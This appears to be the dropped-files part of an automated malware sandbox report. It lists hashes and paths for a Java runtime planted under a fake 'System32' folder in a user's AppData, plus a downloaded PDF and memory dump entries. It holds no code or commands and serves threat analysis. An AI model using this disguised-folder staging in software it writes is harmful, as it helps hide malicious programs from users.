Size 59KB
SHA256 f40746f7a571db1a73d0963464cbcca86f402699827a2019f2d401c54b2e31bc
MD5 f222abcaec601dceef3a81c71dd31f61
SHA1 7f1c76f54fb732c29a9a2b35fc0b6c961a19f962
SHA512 8751ea703f3160d613a2b587a25ace62937bb1de0743e9b28ae82aca7617c0c29afc93039eb527e76a67da6056b858c8e246b80f795416e8dbabc56e5529276b
SSDEEP 1536:OC1z7R0OBwv3XteSDJkt4ZLWiyb1dnD+GViE7VIv:bz7G/1kt2cdnDnViE+v
TLSH
T189536D06979414C5E827C678C6674A1BCBB2F4A0725083DF03B9C56E6FE73B27B29781
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nio.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\nio.dll
Size 79KB
SHA256 3f49f3f46ece497fe8adb2a071a405e53d728fc09198148e65b839f34666a6d2
MD5 dde1c5e7e3dfb948ae4ab9d4f299b97a
SHA1 eaf4288aff46c4cf4e10c92e18d39039f3c462ef
SHA512 1489ee2bc81dc008c81b346cf780a56c45789a20b66dfec7efe3fa6deabe9cb88c70f89712b5b6b222e0b5bdf2270ae3b4644870bc69647baf68c6323708641f
SSDEEP 1536:N72Yp5yt/WuKq/b94c8LIH04zRwYEpdqDRsR7VIv:d1WMyb9VLzRJEpdG6R+v
TLSH
T167832AA25764889BE87A7238429A574BF273FC115510935F5328CB169F1F2B33E3E782
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

classes.jsa

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\server\classes.jsa
Size 15.2MB
SHA256 7fad759884388b610b3cc79ccb35bf9b5e379a397413355ae9e50bc7061990d8
MD5 1657d50bbd660645e14946656f65859b
SHA1 c06bde671aaead99be2fb64240682fc4fe281f10
SHA512 6f9053e3eabd5c92e5882d870940e0232381cab3b198c030eec46c9e24f9c7a5cdc9c67590f060a19af6b7c68d756c28db2c504946e709d0b586153ad88c48bd
SSDEEP 49152:IqtNNHWz83F8kSPxe+++xn6R90QfbaBNFZyFJoLfsYAjDskwZnoK5cjhgTbvSoN3:IqryzQwqLLyWN1wkYI7wqAQB
TLSH
T1B3F6E917F6844AA3DC3D8A7488E6C3542732E479AB8787033DD0936DEDD31CA4E668D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jvm.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\server\jvm.dll
Size 14.7MB
SHA256 cc41822287eaee64f23763819100155b3a2bd55768bffd45c67be03dbbe91520
MD5 89414281a6a8cd8ce4973a3d19c9f29e
SHA1 7a99bf28c9b95d1f2b4e39aa6fad6b06dbeb2ecb
SHA512 6bb1964f33537a001fa575e809fb0715ee5522f2b5bea9ee19519b9e0ca61550598cef17ada9438a9112d9381839e78a4cf2c879b2a6aa53565520a1ccbdd310
SSDEEP 393216:glevF06MNTtv5hj/uKB60V9I0jrJEvLmvcJ1dYG0VJvY10+TLCqD4cIzFuiTr1Pn:GwK
TLSH
T1DEF66B57B7B440A8E427C178C7278A0BD7F2B9A4877097CB55B4066E1F13BE6693E320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sunmscapi.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\sunmscapi.dll
Size 48KB
SHA256 bed51b29b1a0b9eb5470b514e5c5ec87dca138cce4c19d9f0bbf3a229dc835ff
MD5 e858ace24eba4bfd5a880354b689af81
SHA1 eafc587acd0308e936c28619838f315e23b3c2b3
SHA512 a508da62cfad0ecd897bb7bebf93a14beb983630ecad40f5a604fd9b0f4efb4516eb484c2deb0eba1641b6acf0eefdd0f5502029bb0bb1a379107a54323daa6e
SSDEEP 768:F7f8ee/Ak7Hr3QXJS6SeZU18iRs0myCdum/eIQwYiDLk5kIvR:pf9fqrr18iRs0mBduWeIQw7VIvR
TLSH
T165235B0BC7A104D5EC63C8BCC02A561BEAB1B9865121D7CF1361CA1D9FA6BB1B73C751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\vcruntime140.dll
Size 117KB
SHA256 02c6aa0e6e624411a9f19b0360a7865ab15908e26024510e5c38a9c08362c35a
MD5 caf9edded91c1f6c0022b278c16679aa
SHA1 4812da5eb86a93fb0adc5bb60a4980ee8b0ad33a
SHA512 32ac84642a9656609c45a6b649b222829be572b5fdeb6d5d93acea203e02816cf6c06063334470e8106871bdc9f2f3c7f0d1d3e554da1832ba1490f644e18362
SSDEEP 1536:dI2v39UXigCBs29DdxfggO6vMMKZsY2ofRjoecbdhUwdJTzmZhTzC:diwskD8B6vMMEs5oGecbd2wHT0Te
TLSH
T1FBC38C4672A042FBD16AC274C1E35E17FB75B84487A0A7CF03A58A690F53BE09E3D385
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140_1.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\vcruntime140_1.dll
Size 48KB
SHA256 7dd9aa02e271c68ca6d5f18d651d23a15d7259715af43326578f7dde27f37637
MD5 2bd576cbc5cb712935eb1b10e4d312f5
SHA1 dfa7a46012483837f47d8c870973a2dea786d9ff
SHA512 abbd3eb628d5b7809f49ae08e2436af3d1b69f8a38de71ede3d0cb6e771c7758e35986a0dc0743b763ad91fd8190084ee5a5fbe1ac6159eb03690ccc14c64542
SSDEEP 768:IzzO6ujT3MbR3vXCz6S5Mq83yJ9d3+DuO9zUgElq9z6m:Fq/XuA3o9dgzUZWz5
TLSH
T17C235C9457784086D59F95B0C1D6EE537E7CFA964B00928F0BA1E1882F637D0EB3D22B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zip.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\zip.dll
Size 80KB
SHA256 7e638b6e96d6b644fa6c2cbf85a7ae29c208d34858250349b98e222de5b83482
MD5 6ac168cb7e6766f7e8b8264406a7f62b
SHA1 05f8e75d047bc19736a849063d7e25daa80b8d2c
SHA512 aa3f20f55533b1e24b54dc0c41ec5265ed1aa634a9ab482aaca225789b5530e37370219b661894126c1d98d2b793ebb7caccfcb482b64e8973801d65ae04f6bd
SSDEEP 1536:Mr6rmxTSQDn3R8fW5QmahAKoZkIOmQ4ev7VIv:Mr6rmxW0n3Of9AVKmQ5v+v
TLSH
T18C839C9589A05061DEFB9670C9F65B2FD3BAB0112691478F6398835A2F533213F4C3FA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

logging.properties

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\conf\logging.properties
Size 2KB
SHA256 8590633e1e8a7d88ffe74cc04189c5c61b1ed4703180cbc851dcd5575efcce74
MD5 c4b74648f229c4b7e62a1061ee1dc3f0
SHA1 5795edcb624326bbefdedcdb6a11d9c18071d8ce
SHA512 76ea95402f64947c2784f1f8d0857f0d7c963285ae9ebcd9f5cb407d83a14e4da6d14aeb8641c9d9b1c92af4493a4b10e52ad6efda7ae47f265d43df6b4002d0
TLSH
T13251FE5E9B4E2D35430E00AA5A7FF6527E1898BD1C23A5F6B35E6304321D43485DBBC2
MD5 SHA1 SHA512 TLSH

Submit Download

net.properties

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\conf\net.properties
Size 7KB
SHA256 594bc40230a0bd7c441fe069989d66e534a6bae2ee5910f9f4bf64e59b583256
MD5 1f251a36eb37913b696b5be5595e1cd0
SHA1 412fed5d460c414583b16f41e1ebe4262c239af1
SHA512 7a24d898e68c2a7f229220074c510910e7257dd11be33cece3ed4f630552934f6968aa310bcf956a30baf610528cd251f233bad32fd0921ece2c171a7154e2a5
SSDEEP 192:/LVGG4f4z346et5m27Sn1gTe93hf7k9SrnF:ZGxYCU1gY3hzk9+F
TLSH
T142E17283BF46B7354399C291E21EA7EEE32C913D4C33B5B831AC850D2619C76427F4A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

java.security

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\conf\security\java.security
Size 72KB
SHA256 a86d4ca2038d0978d8b539224e9d60ff55b475fee2e6d113ee24c8a60852c70b
MD5 25fcce9d59b4dd156d532ca47a742597
SHA1 eab689f234879082366530e25737fad0f2983010
SHA512 efa421a738ae79056fb68dbda14aade554f984b110fcc88f4e1144eab3699900d981f3875f6497a731b1a58d1bf0c3bbc6e589302f897608a9b50e6629886267
SSDEEP 1536:rQMy8R78MRjJPFp5/LTNHu1UoQ2k/gl0ug6YilNndOcA2ZIYy60:J8MfPFD/LTNO1UoQDHiDndOcKp
TLSH
T12673D522BB897B7206F211A363AEF1D9F76DA12A22325154748D420C7326F71C3776E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default_US_export.policy

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\conf\security\policy\unlimited\default_US_export.policy
Size 146B
SHA256 758b930a526fc670ab7537f8c26321527050a31f5f42149a2dda623c56a0a1a9
MD5 1a08ffdf0bc871296c8d698fb22f542a
SHA1 f3f974d3f6245c50804dcc47173aa29d4d7f0e2c
SHA512 4cfca5b10cd7addcff887c8f3621d2fbec1b5632436326377b0ce5af1ae3e8b68ac5a743ca6082fc79991b8eec703a6e1dfd5b896153407ad72327753222fdb3
TLSH
T178C02B07BB17D0F800D0EF4617B57916B1701E89B0A1121CFA00C2A41EDC6108330394
MD5 SHA1 SHA512 TLSH

Submit Download

default_local.policy

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\conf\security\policy\unlimited\default_local.policy
Size 193B
SHA256 8d8a318e6d90dfd7e26612d2b6385aa704f686ca6134c551f8928418d92b851a
MD5 2a0f330c51aff13a96af8bd5082c84a8
SHA1 ad2509631ed743c882999ac1200fd5fb8a593639
SHA512 2b0385417a3fc2af58b1cbb186dd3e0b0875e42923884153deee0efcb390ca00b326ed5b266b3892d31bf7d40e10969a0b51daa6d0b4ca3183770786925d3cde
TLSH
T14EC0C02DFF9BE2BD44F0AF4623B15485703912473092031CF24583C43EDC580C2306A8
MD5 SHA1 SHA512 TLSH

Submit Download

jvm.cfg

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\lib\jvm.cfg
Size 29B
SHA256 aa9efb969444c1484e29adecab55a122458090616e766b2f1230ef05bc3867e0
MD5 7ce21bdcfa333c231d74a77394206302
SHA1 c5a940d2dee8e7bfc01a87d585ddca420d37e226
SHA512 8b37a1a5600e0a4e5832021c4db50569e33f1ddc8ac4fc2f38d5439272b955b0e3028ea10dec0743b197aa0def32d9e185066d2bac451f81b99539d34006074b
MD5 SHA1 SHA512

Submit Download

cacerts

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\lib\security\cacerts
Size 183KB
SHA256 c3ca801bfc5d9f9e50c69f55537e78dc83e4e50c1ddea30db81e4b672b5a8aee
MD5 faf363df278f33274379e7b3741ea02c
SHA1 c3c9de883fdcd6f94b6617dbbf72db916cd69fb4
SHA512 cc91b77fb5cfd6f2f4cd16cc4f70ed34ee2f052c8d82a20e428cad04e8278f95a67b131f568ebc4e7eda035a9ca7a5e2ede2fbb3f8b2d2f9d6e2928dd4287def
SSDEEP 3072:XCW6ba9dYD+4alMwjhShvDPKwiNgsQyAQpNYFVQ/JKtwnGlmpIaG9lmXPBTiMLW1:yW6GcD+Ty3i5Lgsz5TqQr7VsJ25pG
TLSH
T16504394B9FBD2409BFF29F04A598DA236D76BBE22D59D42B101180DD1961F90BC9833F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tzdb.dat

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\lib\tzdb.dat
Size 100KB
SHA256 36cf71e63ce2816fe4456e9195e6c27fa7c9cd431c89ba762eba394ec2c7a1e3
MD5 df8a313edca47a1b2537b7ec047ce4de
SHA1 449cd5af08a45e2b017e670b3df9c8bf06de0c7e
SHA512 7c4c67d5793bdbf3f9b7dec1360b9278ad7206e66f6917568e2fc04e0fbc019b504edc35870eae143f9f313d5b7eca81404d5c4783c7fc61e0f8a1ec1d18e36e
SSDEEP 1536:N0ExeF88hPdr92L674jAGubVj0Lg/////UzJbPdJPNL0mIT/M4Z3jyxU:NPeq8hPdrcWzbVj0hJzdxuT/5ToU
TLSH
T149A3C4B57F7150B7B2CB8122262B5B93097DAC816FC3084675B4BD4E8A76AD7203335E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tzmappings

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\lib\tzmappings
Size 15KB
SHA256 3929ab1380771d0d542d91cfbae02ce519a76678f5f63813739a6c6b98dc6d72
MD5 f2c6e7d7e1856acd650426427dc72cbd
SHA1 42fcb6d986381170cdef3aeaaf9f8ddc124fdec0
SHA512 3fff765acea8b4b2f1d01ee080920db815212ef05a75832a4a01e174886544b1320f85229d43d5077e050bf8309a2d467d784e828b82cfd095fa1caca7780b35
SSDEEP 192:LQW46R4S2t0ZvH4LacPZ5E1DBMpLcnyhAXnEo2nh+E4:LQW46R4jtavQSRqwSL4
TLSH
T15F622585B06622E4C073EC0D3F227AD3F886F3C49AC69A4D2953C366BD059B766D5837
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

release

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\release
Size 1KB
SHA256 de67b271327ff2059d2cd4ee0d94fa9e4387af18f0cfaf700504f091a3a4113e
MD5 bfe352f2b65bf8e26746b23b00051faa
SHA1 c92ed174bee5239df9cd5422d48a5776eb8f78ca
SHA512 8fc2f369f8709e63a14f2000f7045d367b7f989f2cf71cc13549608677b2cc2a02abcf6089267035fcc8042eb615977f5daf688334dff9d3d686d30d292f1862
TLSH
T14E31446FD01E48B44F9503C26458846FF2DD9A3A45C2BCA4BF479584F0B6AB3C7AC21A
MD5 SHA1 SHA512 TLSH

Submit Download

Doc6754321-39546.pdf

Path C:\Users\Admin\Downloads\Doc6754321-39546.pdf
Size 94KB
SHA256 1cc7143891d7164c71d7f180db7be94ffe1fd530aad78b648ec4d2ad3607bc1b
MD5 afa4a24080a202b5abd8ec1a731f59c8
SHA1 f71b8032abea1aa71c7d9dcb3e1c8b6c7c9cbe58
SHA512 7bd2bb2fe4865c527410350b2d759dd6aabc2197180b2e51a07e3b589871a756e7803e0c0b5677ec50bd2687f443a8e92dd121013a375f7b276359c57eb4ebd9
SSDEEP 768:uD/sm/9JJRHR2t4v4FQl2AXf9hNsixRHJc7TMsY9d+xQaspeEmVXla1RD:s/cKPxY7TVY9d/jx0Xe
TLSH
T18993B4144DB49DCAE05FD9F167BD3424DAE730B3F6C61A26322C4261CF02DA6D98E68D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/520-1141-0x0000021B7FFE0000-0x0000021B8000A000-memory.dmp

Download

memory/520-1142-0x0000021B7FFE0000-0x0000021B80004000-memory.dmp

Download

memory/520-1140-0x0000021B7FFB0000-0x0000021B7FFD2000-memory.dmp

Download

memory/520-1131-0x0000021B0A280000-0x0000021B0A28F000-memory.dmp

Download

memory/520-1132-0x00007FFDC5EA0000-0x00007FFDC5EAF000-memory.dmp

Download

memory/1840-1580-0x0000015FECF80000-0x0000015FECF8F000-memory.dmp

Download

memory/1840-1581-0x00007FFDCB750000-0x00007FFDCB75F000-memory.dmp

Download

memory/2664-1360-0x000001AC1C940000-0x000001AC1C960000-memory.dmp

Download

memory/2664-1342-0x000001AC1C330000-0x000001AC1C350000-memory.dmp

Download

memory/2664-1330-0x000001AC1C370000-0x000001AC1C390000-memory.dmp

Download